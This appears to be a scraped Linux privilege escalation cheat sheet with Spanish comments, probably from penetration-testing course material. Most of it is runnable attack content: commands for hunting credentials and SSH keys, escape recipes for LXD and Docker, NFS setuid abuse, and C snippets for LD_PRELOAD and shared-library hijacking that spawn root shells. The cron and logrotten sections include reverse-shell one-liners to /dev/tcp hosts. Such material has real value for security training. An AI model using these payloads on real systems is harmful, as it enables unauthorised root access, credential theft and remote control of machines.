Basic commands to get our bearings: whoami , id , hostname , ifconfig /ip a , and especially sudo -l (sometimes sudo su is the fastest route).
Information Gathering System Enumeration bash Copy
$ cat /etc/os-release # distribuciónuname -a # kernel $ echo $PATH # posibles problemas de PATHenv # credenciales en variables lsblk; df -h; cat /etc/fstab # discos y montajes $ cat /etc/passwd /etc/group # usuarios y grupos$ find / -type f -name ".*" 2>/dev/null # ficheros ocultosReview /home/<usuario> (.bash_history, SSH keys in .ssh), temporary directories (/tmp , /var/tmp , /dev/shm ), cron jobs (ls -la /etc/cron.* ), /proc (find /proc -name cmdline -exec cat {} \; ), packages (apt list --installed , sudo -V ), and processes running as root (ps aux | grep root ).
Searching for Credentials terminal Copy
$ cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'$ find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/nullOther users' private SSH keys; review ~/.ssh/known_hosts .
Environment-Based SUID and SGID Permissions terminal Copy
$ find / -perm -4000 -type f 2>/dev/null # SUID$ find / -perm -2000 -type f 2>/dev/null # SGIDSudo -l Privileged Groups LXC / LXD terminal Copy
lxc init alpine r00t -c security.privileged=true lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true lxc start r00t lxc exec r00t /bin/sh Docker terminal Copy
$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt bashDisk and adm They provide direct access to disks (/dev/sda1 ) and logs in /var/log/ .
Capabilities terminal Copy
getcap -r / 2>/dev/null # p.ej. /usr/bin/vim.basic = cap_dac_override+eip -> leer root/flag.txt con vim Service-Based Cron Jobs Paths: /etc/crontab , /etc/cron.d/ , /var/spool/cron/ . Use pspy to monitor processes. Real-world case: /dmz-backups/backup.sh with 777 permissions executed every 3 minutes by cron → add bash -i >& /dev/tcp/10.10.14.3/443 0>&1 .
Logrotate Vulnerable if you have write access to a log that will be rotated, the script runs as root, and the version is vulnerable (3.8.6, 3.11.0, 3.15.0, 3.18.0):
terminal Copy
$ git clone https://github.com/whotwagner/logrotten.git$ cd logrotten && gcc logrotten.c -o logrotten$ echo 'bash -i >& /dev/tcp/TU_IP/PUERTO 0>&1' > payload$ ./logrotten -p ./payload /tmp/archivo.logNFS (no_root_squash) bash Copy
showmount -e <ip>; cat /etc/exports # Si hay no_root_squash: montar, subir binario setuid y ejecutarlo sudo mount -t nfs 10.129.X.X:/tmp /mnt gcc shell.c -o shell # setuid(0);setgid(0);system("/bin/bash") $ cp shell /mnt && chmod u+s /mnt/shellTMUX Session Hijacking terminal Copy
ps aux | grep tmux tmux -S /shareds Internal Systems-Based LD_PRELOAD If sudo -l shows env_keep+=LD_PRELOAD and you can run something with sudo:
c Copy
void _init () { unsetenv ("LD_PRELOAD" ); setgid (0 ); setuid (0 ); system ("/bin/bash" ); }terminal Copy
gcc -fPIC -shared -o /tmp/root.so root.c -nostartfiles sudo LD_PRELOAD=/tmp/root.so /usr/bin/openssl Shared Object Hijacking SETUID binary with a writable RUNPATH (ldd/readelf). Replace the library with one that defines the expected function (dbquery() ):
c Copy
void dbquery () { setuid (0 ); system ("/bin/sh -p" ); }terminal Copy
gcc src.c -fPIC -shared -o /development/libshared.so Python Library Hijacking If a SUID script imports a module with write permissions, or you can create psutil.py in a higher-priority directory in sys.path , or use PYTHONPATH :
terminal Copy
sudo PYTHONPATH=/tmp/ /usr/bin/python3 mem_status.py Recent 0-days Sudo : CVE-2021-3156 (Baron Samedit), CVE-2019-14287 (sudo < 1.8.28).Polkit (PwnKit).Dirty Pipe : kernel 5.8–5.17 (uname -r ). Exploit 2: find / -perm -4000 2>/dev/null and ./exploit-2 /usr/bin/sudo .Netfilter : CVE-2021-22555 (kernel 2.6–5.11).Others terminal Copy
ss -lntp # puertos internos $ cat /etc/nginx/sites-enabled # subdominiosIn This Module Linux Privilege Escalation Tips